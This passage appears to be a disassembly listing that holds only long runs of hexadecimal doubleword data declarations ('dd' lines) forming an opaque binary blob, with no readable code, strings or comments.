		dd 85D71555h, 0F37D4DE9h, 475705CEh, 0DC8498E7h, 0C899B2C2h
		dd 173BBD1Fh, 0EA2CA50Dh, 0E29EB44Bh, 0E9A1D6B7h, 973CC84h
		dd 4957556h, 680DE825h,	0AC0F04A4h, 0FB9BE94Ah,	64AAF484h
		dd 571E9207h, 54160054h, 2F2929FEh, 0C3E43FBCh,	8101948Dh
		dd 49AEE0C6h, 5A3131FCh, 82C598E7h, 0E9AD0B0Ah,	117584BCh
		dd 0C23840FEh, 25CAAF4Ah, 0BB65F213h, 4F09A8CCh, 55513176h
		dd 89A23863h, 0B8A3C653h, 65D9973Fh, 16E98B38h,	9305584h
		dd 6FE132CFh, 85F5D4B8h, 0BBB89093h, 0DD260AC1h, 0D901A461h
		dd 4B0BE767h, 71C8802Fh, 15FA363h, 0AA2F52FEh, 863016C9h
		dd 0A23E166Ah, 0C2570013h, 3F453C92h, 0A864E927h, 0DE2FAD9Fh
		dd 2870590Dh, 3C244CFAh, 0A4EE134Eh, 64B953B8h,	127636C2h
		dd 4B7250BDh, 0BBFFC0F1h, 0CCFCEFFFh, 60EC0295h, 7A655F6Ch
		dd 0EE51C509h, 4DB6F6ACh, 2C185A41h, 96CE1514h,	0FE310981h
		dd 0C49E0FE0h, 0E31AC325h, 0E9FD81E3h, 0E81ABDBh, 8A2F05B9h
		dd 0BFE2B4Fh, 0FFA0A25Bh, 5756D7F7h, 0EDFC5E5Eh, 19160275h
		dd 211FE914h, 0E683F3F4h, 769C60E3h, 0FAB040h, 0FBBD8CEEh
		dd 0E9F03129h, 0F1C81420h, 0CE13D245h, 0E9F038AAh, 0D97CF627h
		dd 0BB3C65F8h, 9D89D9D8h, 0E9A288h, 0ECFD7AF2h,	0D54F21D9h
		dd 26CDA363h, 7D70A4h, 18F5DDC5h, 6C6229C2h, 579BEB71h
		dd 596192B2h, 95A63FA5h, 8691AE97h, 0C1056460h,	6A3D14D7h
		dd 0D827EACAh, 0DA2D440h, 135391Dh, 9F1166ADh, 3628D361h
		dd 4E5C3D70h, 9DC34D8Ch, 0B8FC98E2h, 5DD68F59h,	12464879h
		dd 0BB7CD29Dh, 0E157B183h, 4A69DA2Ah, 0FAC69F13h, 9408FCD2h
		dd 82EA9630h, 0C570B67h, 5B9F3F66h, 0BFCFEC35h,	0E8267374h
		dd 2202D537h, 0D7652B05h, 82421BC3h, 0C51C5075h, 66F66312h
		dd 65A93703h, 0E601B343h, 1D11DA1Ch, 465D140Bh,	96E93EF2h
		dd 27B8D460h, 4D27560Bh, 1580F401h, 0EE2D88C1h,	58D7BFDAh
		dd 0C0A4D4EAh, 0DD63181Fh, 0E5A6430h, 4C9D4812h, 0E909BE13h
		dd 87DA2F24h, 9C72232Dh, 0A2575BF2h, 0AAC24BBAh, 2D86E843h
		dd 135E13E0h, 5B17A04Fh, 1C770912h, 9776B3BEh, 55041C8Ah
		dd 0ABF025E9h, 2092A976h, 586219B5h, 3CFDD26h, 0ADF2C628h
		dd 8C41156Ah, 0D22470F1h, 0FEC6880h, 5E119975h,	51D5D06Ch
		dd 3524B90Eh, 6FCA5EF0h, 0A082A8B3h, 0F51FE129h, 0C9DAA802h
		dd 7DF210CCh, 9E608D45h, 5F754026h, 0C4845A5Dh,	0AC026DBAh
		dd 0EFC1A02Ch, 670D4201h, 0C0EA2D04h, 4E0542F4h, 9640B314h
		dd 70E005DCh, 50AF1DE2h, 582D08A8h, 4FCEBBF5h, 0C23CFF0Dh
		dd 772862D6h, 8ACAEC54h, 5BFCCD7h, 0E478A4BEh, 5B979177h
		dd 181059Ah, 283F7613h,	0E64FC69Ah, 1CC334D0h, 0E651B0CDh
		dd 0A180229h, 4E5C17Ch,	0AF5D7457h, 930BD4F0h, 76461Ah
		dd 2DA90CD5h, 0CF76B578h, 0A3169CA6h, 808517A3h, 1DC606C3h
		dd 0BE011033h, 31600CCBh, 71ECF681h, 0FA6F507Ch, 0CBCCBD5Eh
		dd 0D3A5C14Eh, 46740C82h, 6962308Ah, 505F8868h,	3198B804h
		dd 0D2BE07CDh, 0B08CB9Ah, 4C39E904h, 0D42631BFh, 46C83FEFh
		dd 70AFF250h, 8F569560h, 5A6DE978h, 9F60FC37h, 9BA98DBCh
		dd 0D161C624h, 15093B78h, 967547F8h, 0C4140218h, 0FA299F80h
		dd 95D7292h, 51C420Bh, 0BEEC88F2h, 0AAE336E7h, 55FAC22h
		dd 97612BE1h, 3A8E0001h, 3175B179h, 7659CB27h, 2B115981h
		dd 0B080FE13h, 984FDFF7h, 823E051Fh, 8221766Ch,	8BFF0CB6h
		dd 99055D1h, 0DC826141h, 6EE8E24Bh, 401E760Bh, 2B3F578Ch
		dd 540FB5B0h, 802D380Ah, 472A5ECEh, 2BFFE76h, 29316A98h
		dd 0F180EFC1h, 0E54391CFh, 0CE23258h, 5680C2E9h, 2C7000BAh
		dd 44BE745Dh, 7D4BFD42h, 1283BE1h, 0BB12D03h, 0FEA81340h
		dd 530A567Bh, 705E829h,	0D411D43Ah, 9A01512h, 9CDF5621h
		dd 0EFD60A63h, 0F616878Eh, 310EE5F9h, 0E0C47BC7h, 0ACA7B8AFh
		dd 9D9CBAB9h, 0E45137E1h, 5CBFE0ABh, 6878CB21h,	0F965C22Dh
		dd 0B9579384h, 905FF290h, 9D68513Dh, 5925776Eh,	0B506146Ah
		dd 0D06489F4h, 0BDC8C82h, 768E1302h, 2F02EF22h,	1ED4686Fh
		dd 43A0B41h, 933AA7Dh, 9F297505h, 550936DEh, 0E6B0D7BAh
		dd 0D0943580h, 854CB163h, 84FDE3EEh, 14051C8Bh,	88A6EEABh
		dd 4FEBDF5Ah, 0F01D27EAh, 0C986E970h, 40EBD49Dh, 20994778h
		dd 3C2DD895h, 0C62A329h, 82FD1E38h, 95702BAh, 9329001h
		dd 0F53C7079h, 0B317EB0Bh
		dd 504C5DB0h, 52DD292Ch, 8FEA5F16h, 0A24910EEh,	5B2B0550h
		dd 4BDFE288h, 4E18AB6Ch, 0FC16D99Fh, 0E42606B6h, 0E9847D61h
		dd 0C8EA98F4h, 5C5D961Ch, 0EB4584D8h, 184A4FFh,	1A3786F4h
		dd 0B681F447h, 89C5430Ch, 0DA2DCF28h, 0C55D220Bh, 25F92669h
		dd 9E0159DEh, 0B844310Bh, 4B5F17F4h, 7A59B168h,	21D906B1h
		dd 37174236h, 3098AB87h, 7A7985Ch, 5BBD638Ch, 2F086901h
		dd 0A1DFAD08h, 189A6877h, 0E982E56Dh, 73DFFE3Ah, 6806B05Ch
		dd 79B41858h, 0F7D95B62h, 20B54146h, 0B2A0C682h, 21A40363h
		dd 0B85FE9F0h, 4E5D282Fh, 685B0B2Dh, 0D0E658BDh, 15643909h
		dd 3582860Ah, 30D5950Dh, 0BFAB68C8h, 49DED3C2h,	0B43DD076h
		dd 6975520Bh, 378E8D89h, 86E0C26Bh, 711205EAh, 11129115h
		dd 1EB94EB0h, 0E5254A6Ah, 5C794058h, 9A45294Bh,	0A7ABB641h
		dd 21EE4FDBh, 7C6F2926h, 984E78BCh, 0FE4F79F7h,	0A520CB35h
		dd 4C1F3954h, 1C2B3F2Dh, 570E12BAh, 0EE09A0A1h,	5F7EA5F9h
		dd 665AC314h, 0D6FC6F17h, 9FC629A9h, 0D92C6FD6h, 41074E08h
		dd 6E2E184Ch, 0F0412043h, 0BF833896h, 7C362130h, 264B240Ch
		dd 68B309A2h, 82BC1C75h, 57C77F82h, 7578E909h, 0BA81E0FBh
		dd 0B8B09226h, 80FE1F6Ah, 0A12A7BE2h, 3F2C12Dh,	9762E4C1h
		dd 0FC6E8AEFh, 0A0AB1C83h, 0DADBD62Fh, 325B3D19h, 0FEEB2D51h
		dd 71F1AD83h, 25FD2F63h, 0C9FD87A2h, 61F04549h,	0BB22C079h
		dd 508316Ch, 8E002C90h,	250F0E63h, 2CD57DD7h, 2AFC15Eh
		dd 0FDBBE948h, 2565537Fh, 0FD2A96B2h, 96C42522h, 0AC5F5EF0h
		dd 0F0E89AB4h, 0F9484BC5h, 28B8928Ah, 69F6EFB5h, 0DDCEF93Ch
		dd 2F9F255Fh, 0FEF4BDB2h, 95A37488h, 0C27693DFh, 123E5C06h
		dd 230A034Bh, 283936FAh, 0F42DC133h, 0A2F70127h, 5171BCE1h
		dd 41BE1E27h, 29107A4Eh, 160560F2h, 0F18593BDh,	2EADDF42h
		dd 2C3237E0h, 0FCF13080h, 474B476h, 0AE486368h,	4DF5BC30h
		dd 156F4C9h, 7A5DEEBEh,	0EE79E92Fh, 21C614DDh, 754917FBh
		dd 0D5884C14h, 730CF381h, 0F268B434h, 4DEE0595h, 0E127E9B8h
		dd 60A77F3Ah, 0EE08D112h, 5F458B69h, 332B0AFAh,	0E898BD33h
		dd 58BA165Eh, 0DE963D3Fh, 57519E07h, 5CF8EDF5h,	15B7530Bh
		dd 1775BA04h, 197B81BBh, 5D2102C3h, 30680D8Fh, 8F1B02C5h
		dd 7B95EA9Eh, 99AA06Eh,	762614A0h, 0EB1B4182h, 0B56C4FF3h
		dd 0A27702BAh, 0BF57BC68h, 0DE17CA5Dh, 0A0C12F38h, 6A1265D9h
		dd 260BE612h, 0EBA5003Bh, 4A2E037Ah, 880BAF22h,	0C28B7CE8h
		dd 55001D2Ah, 25337CBDh, 0E0514BE1h, 0B806028h,	80C0525Fh
		dd 28A51F2h, 0CFDF48F7h, 4A2D5A01h, 30E0C172h, 1A9A55EAh
		dd 7971D695h, 6EEE7555h, 0D74D9982h, 5750ECCEh,	2D752C94h
		dd 0EE2C8998h, 0F61380CAh, 5C062FBh, 5E48C955h,	1881622Fh
		dd 572D07F4h, 0A82AC49Eh, 68163C7Ah, 15611D6Ah,	7B26A135h
		dd 965E1270h, 744D0253h, 9382EF3Eh, 4648A293h, 0E5A85AF4h
		dd 600489C2h, 515D32D2h, 4C14E4E6h, 0A581F887h,	2F287227h
		dd 0BFB2B8BCh, 68666E48h, 1E9D43E4h, 79B869CDh,	0EC0D1785h
		dd 5B541F22h, 302068C1h, 803A434Dh, 916C4084h, 4235694Ch
		dd 82F2038Fh, 0B02D361Bh, 307B25CAh, 6918034Dh,	6BE9AB9Bh
		dd 0D6318704h, 0A4C58904h, 0F6BD0E5h, 1718606Fh, 7DD42C28h
		dd 4BFD022Dh, 2061213h,	50D3085Ch, 0B0234D2h, 8048DF01h
		dd 0F6AC2896h, 1B639883h, 9B325AE9h, 4E8929D3h,	8B387C2Bh
		dd 0F7C88450h, 40456FFh, 0FA78D865h, 0FE39F460h, 67E9199Ah
		dd 0F95A2A97h, 0A4AF2CCDh, 0C112D4B8h, 0CA5B0BE5h, 9B9DE478h
		dd 0EE0C15DFh, 3F009144h, 3570027Ch, 0CA2DCCDAh, 765F44E3h
		dd 5BF62759h, 5BC90671h, 0DC050014h, 0E94A4B6Ch, 2D330F49h
		dd 48B722Dh, 0E282055Bh, 0C9EC818Bh, 0B5DB7C59h, 106C05D9h
		dd 0E77D5C89h, 0C75D2537h, 161E2421h, 59F3907Fh, 88A1302Ah
		dd 0BD6D24E8h, 0DE255F78h, 25A05E55h, 45B4C875h, 0FC3E0987h
		dd 66C8EA31h, 77D6621Ch, 66605003h, 0E9ADEB59h,	0B83EA5CEh
		dd 8323848Dh, 0BFF76804h, 0F3C470F8h, 0C566C8CCh, 0E648350Bh
		dd 0A05B7E07h, 4EE97908h, 0EB809990h, 811C8AF3h, 0CFBD80C3h
		dd 374A90F8h, 0F16494C4h, 0EF91206Dh, 85125004h, 87F6892Ah
		dd 3EF7E05Bh, 0D1AA8F4Ah, 4DCB872h, 0F1D4EEC4h,	789F8980h
		dd 0D2E8A3C5h, 0F85D090Fh, 89F90BE8h, 9DF8059h,	0F84C7DD1h
		dd 4FCF8233h, 503ABAD7h, 6764B547h, 0AB6386F4h,	0C351587Fh
		dd 0ED11482Dh, 430D6F1Ch, 56FB011Dh, 221454F1h,	20B90C5Bh
		dd 40D49270h, 0D7DE5A02h, 7D8C6A4Bh, 0FDF4A0E6h, 4955ABFh
		dd 0F97519E3h, 0F790BB08h, 4B32AF83h, 8135E8D7h, 41D6E95Bh
		dd 30C23381h, 7A35DE11h, 944F8B0h, 0D08913F8h, 7AD8CAB9h
		dd 6E9C5A16h, 0BEA74047h, 4AE75E09h, 0E941FFF9h, 66279871h
		dd 0BF9D3EFCh, 0E1436956h, 0E5830424h, 0A891221Eh, 0A9210BA8h
		dd 1545A345h, 2932E94Eh, 841107Eh, 0B1C65E65h, 40C90D67h
		dd 265A6D07h, 6E0C2560h, 2439427Ah, 20BFF701h, 330CA008h
		dd 0EB35CB07h, 0D1BD5DFAh, 57E7C234h, 964F50Bh,	0E15DD6Bh
		dd 835F11AFh, 19D152E5h, 586A3344h, 0ACD1614h, 0B25A26E2h
		dd 0B05C2559h, 81933634h, 534BEC68h, 1E6DE8C6h,	77A26C1Fh
		dd 5D099ACCh, 84472EB6h, 0D8AE66B0h, 222802B7h,	0C174A77Bh
		dd 0FD27C727h, 0EF3D8887h, 7C0023E9h, 3E367DA7h, 0DC40474Eh
		dd 5D4D4498h, 11D2BF29h, 131D70FEh, 0C9A80103h,	1C020883h
		dd 637B3932h, 72A98258h, 6CB7076Dh, 4F4A7610h, 0A401B5C8h
		dd 0C83F459Eh, 0BAAA3877h, 6816BD1Ch, 0EA6136BDh, 5E006B23h
		dd 2D014840h, 501F4F59h, 0F6E6D0F7h, 4718039Ah,	5FD90B5Eh
		dd 486C3858h, 19E617FBh, 9294CA0h, 0B010E9EFh, 77501AFDh
		dd 647485EAh, 2D519108h, 0D6E99754h, 713E89F8h,	0C4E3F95Dh
		dd 8BF7B830h, 7725E2FBh, 7F732132h, 8908DF14h, 5D12581h
		dd 0B82D2C4h, 9DE4FEBBh, 5E4B40B8h, 45EF2D37h, 5345501h
		dd 13895C90h, 1AC16830h, 0B39632E9h, 0F5C7417Dh, 0BC7FAAE8h
		dd 8AAC9DD3h, 4E76686h,	87A03C39h, 0FD8D9C7h, 1920F690h
		dd 0C8291FABh, 21B3AC91h, 0C7680B63h, 0E9628756h, 97E3588Ch
		dd 0C77E847Fh, 0DF9132A8h, 0BD665503h, 0B9A05E3Bh, 31F037C6h
		dd 8A5DE930h, 0B7A9FDC1h, 0FD979358h, 40657B16h, 58F9C271h
		dd 2DFB6882h, 8482E151h, 40677071h, 2D210371h, 0B15E062Fh
		dd 2FDCFC2Dh, 921D91CCh, 2E737047h, 7B88E1DFh, 0CF9C913Eh
		dd 64F93ED0h, 0FD84D79Eh, 0A9F4051Fh, 0DEC1E328h, 29026418h
		dd 57B66A7Dh, 37A485E5h, 4B0D653Fh, 74D02CEFh, 0BE414A5Bh
		dd 17FB225Eh, 0EA050028h, 0BA42F640h, 0E97BA09h, 7401737Bh
		dd 38A61CC9h, 55A0C82h,	90017CCEh, 56EA9A7Ah, 0B17F012Ch
		dd 16FE0106h, 9CE91311h, 1081BD7Bh, 3113C3F0h, 0B88C144h
		dd 0D6F7019Fh, 9B694571h, 0C2F95B7Dh, 0FBD55BD2h, 0BE564256h
		dd 895EF518h, 2F23675Ch, 0D5D8C897h, 6CC52760h,	0E5007DDBh
		dd 275A5E69h, 0C3F74955h, 4A81C02Dh, 582AB568h,	744ACEA3h
		dd 0A993ABA8h, 4D4B27ACh, 0A595A759h, 59BAE994h, 50A0BF9h
		dd 9E017556h, 2BF73158h, 0FBF96829h, 0A09DEC3Bh, 0C73302C3h
		dd 97354C7h, 0A428CFD7h, 0D64A25FBh, 1D50E05Fh,	0F439AF1h
		dd 0A577FDF6h, 0E9721332h, 93E9E01h, 84F92F75h,	5C09625Ch
		dd 9B8453E8h, 686712BEh
		dd 55092187h, 0E9062AE7h, 0E830E588h, 62C1EEEAh, 54531959h
		dd 0DFA5570Ah, 415D6003h, 5D7875F2h, 0CDF2313Eh, 0B3D7CE80h
		dd 0CF61BA0Dh, 0E9C17093h, 8E4B7C65h, 285A5E03h, 0F80FC1FDh
		dd 47DF7A6h, 0F818B993h, 25375EB4h, 947289E2h, 9F3890A6h
		dd 2162400Eh, 5657DFF6h, 93B51FFCh, 5498E098h, 7C8D4497h
		dd 2B8B305Dh, 2955CA4Bh, 877D3A0Bh, 0A14906FAh,	2D50764Eh
		dd 0E320846h, 0EE68DC5Dh, 4F6E57F1h, 0E1119B3h,	7C641739h
		dd 0A1605BC9h, 276A64FFh, 841AEDC2h, 0E2AAE769h, 3DE004A7h
		dd 0EFF0873h, 2CA20575h, 0F8864B30h, 0C505CD2Eh, 78B7716Dh
		dd 0B4A409E8h, 99498FB3h, 3AC01CCBh, 951CDD2Dh,	89E679B7h
		dd 0CF5C03C0h, 817F51F2h, 219B951h, 44B47A21h, 0D292AE9h
		dd 2BDABDBEh, 9FF23AFFh, 0E2A713A4h, 844ED051h,	0E5E43261h
		dd 564980D6h, 0CA4F41EEh, 5B7870EFh, 66EFA268h,	52E01675h
		dd 0C3AF44D4h, 105F7278h, 0D0BE2DEAh, 0FE5EE9A0h, 0AD7B1EB1h
		dd 4DBA8C73h, 0C5E34CC1h, 0F451A812h, 814ADAA8h, 0E8D62F8Ch
		dd 310E24B5h, 0C60D09FDh, 5F50477Eh, 5B16CB7Ch,	640269FFh
		dd 6802FE84h, 179EED22h, 2DB753A1h, 0E4896627h,	7C78A1F6h
		dd 4445BF5Dh, 0D4279CA6h, 0B1E984C5h, 0D791BCF1h, 9C08EEAh
		dd 713FFD68h, 0BADC93A4h, 7854F690h, 46E55EC0h,	1D21F963h
		dd 98EDF607h, 0D6B56A95h, 1E13AD4h, 0B6A26840h,	29607EFBh
		dd 0A0B9C02Fh, 813C69A8h, 3B28C5DEh, 0A55D740Bh, 0A532F122h
		dd 3D1699D0h, 74217F6Eh, 9A3577C0h, 0AE71624h, 22696827h
		dd 92666788h, 0F37A094Dh, 9FFB54Fh, 83426CF1h, 58A4D9F7h
		dd 5F81BC22h, 17638E6Bh, 22E31636h, 65703010h, 0CA52C03Ch
		dd 49EBA007h, 0E3677902h, 5CEE0548h, 0C775E706h, 44D68BE7h
		dd 12DB0B50h, 0BF59850Fh, 0AD36FE4Bh, 0BD3AE245h, 0F029B5E5h
		dd 3B0F7082h, 16D554F5h, 74BA74F3h, 164A7913h, 5FCDE9D3h
		dd 0EF9654Bh, 8094B381h, 0F3CC01C3h, 9DCBBA0h, 51D5DD88h
		dd 5FB40B63h, 0C3808754h, 4FDC3AF7h, 0C7919F58h, 60432659h
		dd 0FA2BA60Ch, 4062B061h, 48EC5F8Fh, 87BC9A49h,	54F565F2h
		dd 6817F9ADh, 3560EFB3h, 16BC5536h, 0ABD9F76Fh,	719BAA00h
		dd 36E932D8h, 0F22C265Bh, 72352F00h, 146BE281h,	557D6B96h
		dd 1804ED06h, 16318A0Bh, 0E7DA0055h, 9D25306Bh,	3F4B8F52h
		dd 0E6B8B9C0h, 40742476h, 24F82AF2h, 872EE01h, 8F204258h
		dd 0C896A4FEh, 3A51B800h, 0F254C8Fh, 70345889h,	0F755F2E5h
		dd 2067486Bh, 0CC72C4F3h, 1377BB37h, 9CD0B7B4h,	24D8E22Dh
		dd 2D314A2Ch, 2732A11h,	2DCADC66h, 92427CFCh, 10F9FF62h
		dd 0C02AE989h, 0A1BF5Ch, 813D7609h, 0AB0F9BF7h,	10F84F5Ah
		dd 0E610AD4Ch, 0A4BB047Eh, 0FF81440Eh, 0A76BE26Dh, 0E6512649h
		dd 0FD9B2738h, 57BE2F90h, 8444FB8Bh, 0A538FDBBh, 5225CEBBh
		dd 0D0994F23h, 68623C3Bh, 0EFB1414Eh, 2F2AAE2Fh, 68517660h
		dd 0F92E1127h, 0F1019F53h, 47FD7341h, 12D92720h, 0BC3EC0D4h
		dd 4C795FAEh, 9D56A2D4h, 68176744h, 848C4FD2h, 262110EDh
		dd 25FC0442h, 0FF5094h,	3704F8B8h, 8390DA29h, 934D5D4Dh
		dd 31306F14h, 64FAE353h, 84008226h, 0C1480967h,	0C3A103E1h
		dd 57A0744Bh, 0BC265377h, 26CF0195h, 3CBF2994h,	731327F1h
		dd 1F28AAA8h, 0F688A05Eh, 0F37B16A7h, 161CE61Dh, 0AFB3466Fh
		dd 0A1906A65h, 4FF23FCAh, 17EB2C4h, 0D3CBA35h, 0B5ABE0D2h
		dd 49A6B16Fh, 0AD472D7h, 1BB20DBFh, 0F2450298h,	8955E44Dh
		dd 0EACC57C1h, 758DED49h, 0FE4ECE2Fh, 4A004902h, 0C90D40EBh
		dd 8F92E85Ah, 2D4B55E9h, 7F9F23A9h, 0F56C22C9h,	0FF676D12h
		dd 450A3CCh, 4A641EB8h,	69FF8128h, 0EFA32F76h, 34A0F413h
		dd 315FC85Dh, 0EA9325B7h, 5601D3F9h, 820BD9BEh,	0F7CEF003h
		dd 60394D1Dh, 7458D619h, 0EBD3A579h, 436E3DC9h,	4CEE802Fh
		dd 6BE6C0C9h, 808FDCA0h, 190D0F7h, 126FC620h, 3734F368h
		dd 1E918288h, 42D2D374h, 1007443h, 3FF1B62Dh, 63842ECFh
		dd 0B7F500AFh, 0F509DB07h, 4A49E92Dh, 2F81D6E7h, 2701CD56h
		dd 5918B373h, 0B5FA18B4h, 241EBCF3h, 1D24D150h,	7496E9C7h
		dd 3EF50775h, 0BD5E4A0Ch, 3D9D7FEEh, 0CA3C47EDh, 3A77AC5Bh
		dd 0E1D44A58h, 0C2491AEEh, 0C75D9209h, 0F7E9859Fh, 464FBB7Ch
		dd 9EE00403h, 28A75CBBh, 85FA5A13h, 0CAB380ABh,	2601D64Ah
		dd 330ECF81h, 23714D79h, 5FA70160h, 0EB40F406h,	3712502h
		dd 74D90197h, 98973883h, 0C3CB90A1h, 9B353425h,	60C11A7Dh
		dd 0E8C8DD89h, 7E189D5Dh, 0FCB7C121h, 58A621Dh,	3416EC72h
		dd 9B04C27Ch, 0C452E23Fh, 98B8B1Ah, 734840E9h, 2DA04826h
		dd 0F75A86D4h, 51FD7CD8h, 0DCEA08C5h, 0EDF5DDDh, 0D23835C7h
		dd 0EB0BAF4Ah, 0B9390E64h, 5803ED10h, 9B5631F2h, 0BD9ECADh
		dd 1F55E9E2h, 92C39A25h, 5CD0A79Ch, 0C1A9C39Fh,	0D23A8492h
		dd 858F3CEAh, 906B4644h, 4B9ECB0Ch, 87192971h, 43064EF3h
		dd 22D1B0F3h, 0C9205056h, 120F12ABh, 4C12E8EDh,	4D509E97h
		dd 2012884Dh, 92F6FBC8h, 0BCDEE9C2h, 2028FAF5h,	899C6016h
		dd 1F3FD0ADh, 6F7379BCh, 0D1B73F78h, 86861EEh, 0D9DFC23Bh
		dd 486680A2h, 2D58126Bh, 726C06A2h, 7F2EE917h, 0A8A1638Ch
		dd 2DFBBFE9h, 410B1B31h, 0A2C8A6ABh, 0E03F581Ch, 8E70525h
		dd 72F00305h, 0FAB00020h, 58C729B6h, 5F4AFE21h,	4E4790BBh
		dd 465BE13Ch, 9E3DAC99h, 13E8124Fh, 3B2604F2h, 1026AAD0h
		dd 0FA625912h, 515A590Fh, 4A28BD3Ch, 0B2DCF7BDh, 5BE7F019h
		dd 9C4886Fh, 0CADAD75Eh, 64091C20h, 270CFC49h, 9792B7A2h
		dd 96F68005h, 5A064B8Ch, 0CA7CB009h, 4525780h, 2C2359BAh
		dd 0CE7C8028h, 5C5CDA70h, 47091AF7h, 74F7C058h,	1A4A303Eh
		dd 0A112D24h, 3A3F5058h, 9E86BE73h, 79253EE9h, 907F49F7h
		dd 834B9487h, 0A5EBAE87h, 0F841A4D5h, 0ACC5DD83h, 8E584BC2h
		dd 4B08A19Bh, 0DAFB4218h, 540D2A3h, 46536ECFh, 6BEC367h
		dd 7E4AB6F2h, 9807CB55h, 7EFC4F45h, 3851592Eh, 0BB60844Ah
		dd 685AF060h, 68739D93h, 8BE6742Dh, 0A590DA31h,	6B5A5568h
		dd 0B4DA376Ch, 0C65115EDh, 7E10F290h, 87660E4Eh, 0D1F765CAh
		dd 13AA0610h, 2EA0831h,	1636E91Dh, 92E6145Fh, 63B4886Ah
		dd 0EC445071h, 8E9C3D91h, 752C214Ch, 1641231h, 173F68ACh
		dd 3A0C9D63h, 0FD0F078Bh, 8097762h, 514DF08h, 0E975BBE9h
		dd 8F12C6B4h, 0FFEE248Bh, 0A077924Dh, 0DE723146h, 0FAC1F35Fh
		dd 0EB047111h, 4F43A69Ch, 0C9C5CC3Eh, 8183985Dh, 7C866855h
		dd 0ACC4886Ch, 183A1FE7h, 8008D4F6h, 6C266F7h, 13409858h
		dd 0EC0A05Ah, 8BE126E5h, 1AC025Eh, 0F07D7038h, 5E088159h
		dd 360A9D40h, 0F8DBA32Eh, 5CF75C71h, 520CD76h, 0B1D8212Eh
		dd 68098410h, 1C5D35D1h, 0CAE23167h, 1620F725h,	3254B5CEh
		dd 0F57F9259h, 2DAF3A21h, 0FA8C2A29h, 0ECCB45Eh, 9DEB464Eh
		dd 1DB6C9E0h, 5BB0501Fh, 0A012C6DFh, 0EB5EDDBCh, 0F63E8939h
		dd 572C19C6h, 126B805Fh, 0A39BFB88h, 9D6CFE4Eh,	0FCF6978Bh
		dd 5F0224CAh, 7563A047h, 0D5655C8Eh, 5A79C253h,	2FF59D5h
		dd 35734539h, 0E409B764h, 0DECACDFAh, 59223834h, 6720E192h
		dd 0E788270Fh, 0E3B7C670h, 0AF6BEFB6h, 84FE36A5h, 7BA26129h
		dd 0D2B72DA6h, 0AA2F29A1h, 6E681F42h, 8896D158h, 5E16DFA2h
		dd 803E01EAh, 6065A339h
		dd 3C028D13h, 0FE31E1A5h, 544855E9h, 5A2D89BBh,	3F0BF057h
		dd 6B124308h, 8AA2EFCEh, 0E9C042D6h, 0C3DAE8CAh, 55E57A2Dh
		dd 6D174F10h, 8A17371h,	6B18DCDBh, 4CD866DBh, 604C48B3h
		dd 0D341C31Eh, 0BE83847Dh, 1EC970ACh, 0D18E1142h, 0F960BDE4h
		dd 8F1016Ah, 55446641h,	10D4A4F1h, 0B740B51Dh, 1E14CECDh
		dd 10DF6992h, 5A2599C0h, 7D39427Dh, 5CADC451h, 47FFFAD6h
		dd 148988F8h, 0FF17BA24h, 0B90295B0h, 997BEAFh,	96BF2381h
		dd 0D01AEA25h, 504D33E4h, 0F2B3AC34h, 535B26B6h, 0C100DEE3h
		dd 7D6369C0h, 60FACB29h, 4A365159h, 5D5B7592h, 19548BFEh
		dd 3A765BE9h, 176C7753h, 64B97266h, 9F447F77h, 1E62CB5Bh
		dd 7ACC0D48h, 0AA3BADB5h, 0F34A732Ah, 9F3D381h,	0B6AF6E17h
		dd 4B7B17F2h, 4F88AE88h, 96CA6CCh, 77FE55E9h, 8832D96Eh
		dd 555C0A59h, 9A97AEC5h, 8AAF9384h, 43E9835Eh, 0F6FB8406h
		dd 8CB44B77h, 8C135B8Ch, 644A888Ch, 11CF9CBBh, 477F2784h
		dd 9090ABE4h, 0EAA88E4Fh, 1A84D3E2h, 0F7294B65h, 24DDB909h
		dd 0B5AE5BDFh, 12B37D99h, 20EBAB4Ch, 6F4BC380h,	7D96F5B8h
		dd 0A19F82Dh, 1F241335h, 0CF3F02DFh, 0BE7B7DD0h, 4B79060Eh
		dd 25FD7828h, 0E7F1EA09h, 0AD057C4Bh, 2529675h,	1FFBEE81h
		dd 0A7FE36E4h, 2708C614h, 9252E05Dh, 0BF2C7A5Bh, 2103A5E0h
		dd 9A5ED6B6h, 0A6514FBFh, 80A01060h, 720C7F4Ch,	4C86BA46h
		dd 73A82017h, 802E2E5h,	111CF758h, 12516C2Fh, 56FA775Fh
		dd 9846A22Fh, 2F0F17F3h, 0DF7C219Dh, 827A0473h,	244DB50Fh
		dd 0A4680802h, 40BDC448h, 0AD04BFF2h, 21179F23h, 0B1125E4h
		dd 89ED8AB2h, 0E91614FAh, 52206D69h, 5FE220FAh,	0D1F8F052h
		dd 0AF2568E6h, 9C8C60Eh, 7A9910B0h, 0D9F689F5h,	0ED83C1E6h
		dd 1DC930FFh, 21BE755Ah, 7A19597Dh, 608ADE31h, 461BB98Bh
		dd 0E7621CD4h, 6A2055A2h, 0D4D72E5h, 0C18842B5h, 1D808A48h
		dd 0D11CD6C1h, 81954154h, 7FE32F21h, 75EE0C80h,	0F90587F4h
		dd 5DB61418h, 0EA7412E4h, 328C957Ah, 0AA32D06h,	491513ADh
		dd 9E7F99A2h, 80C3F2E6h, 0F1268759h, 65101B56h,	4927683Eh
		dd 0DCC2C454h, 42FF5933h, 5A005472h, 0E10C7D68h, 0C86BED6Fh
		dd 28004BC4h, 26254C80h, 8E0BDE9Dh, 9F6476Ah, 50A5D495h
		dd 6568C057h, 14F66CF1h, 7ADDE64Bh, 9C93C63Bh, 5FE98709h
		dd 4955E845h, 708C0267h, 0A66E81BBh, 36CC60F7h,	88D524F6h
		dd 0C5F12F21h, 8E3EC582h, 421A6219h, 0E908020Dh, 898FA322h
		dd 0DEC792D8h, 0ACD7C54Bh, 0C68003B3h, 0D1A22CCAh, 0CD3D94EDh
		dd 7F59CDD3h, 1A8CB681h, 66E7F7C2h, 9F65F125h, 50E75AE9h
		dd 750D0D5h, 3E07C6E5h,	0B006E468h, 2975D35h, 5E3C7755h
		dd 1F1D8AE7h, 9C9B3D91h, 0DE7726C1h, 2430B134h,	7E45B7FAh
		dd 0FDBC542Ah, 983E3720h, 0C996AAh, 3D05E8D1h, 88C96D64h
		dd 35C8FFC3h, 0C39A44BEh, 0CA94BDB0h, 609CEA81h, 0B2B4E9Fh
		dd 6AABBF0Eh, 0FB4D62D1h, 4842FF2Fh, 755AD331h,	0E927A6CEh
		dd 0F5E30913h, 5148FC6Eh, 6520A6h, 1972FEBEh, 91F6811Fh
		dd 2147F19h, 20BAC85Eh,	3DCC2C4Ah, 79D3301Fh, 60B1C980h
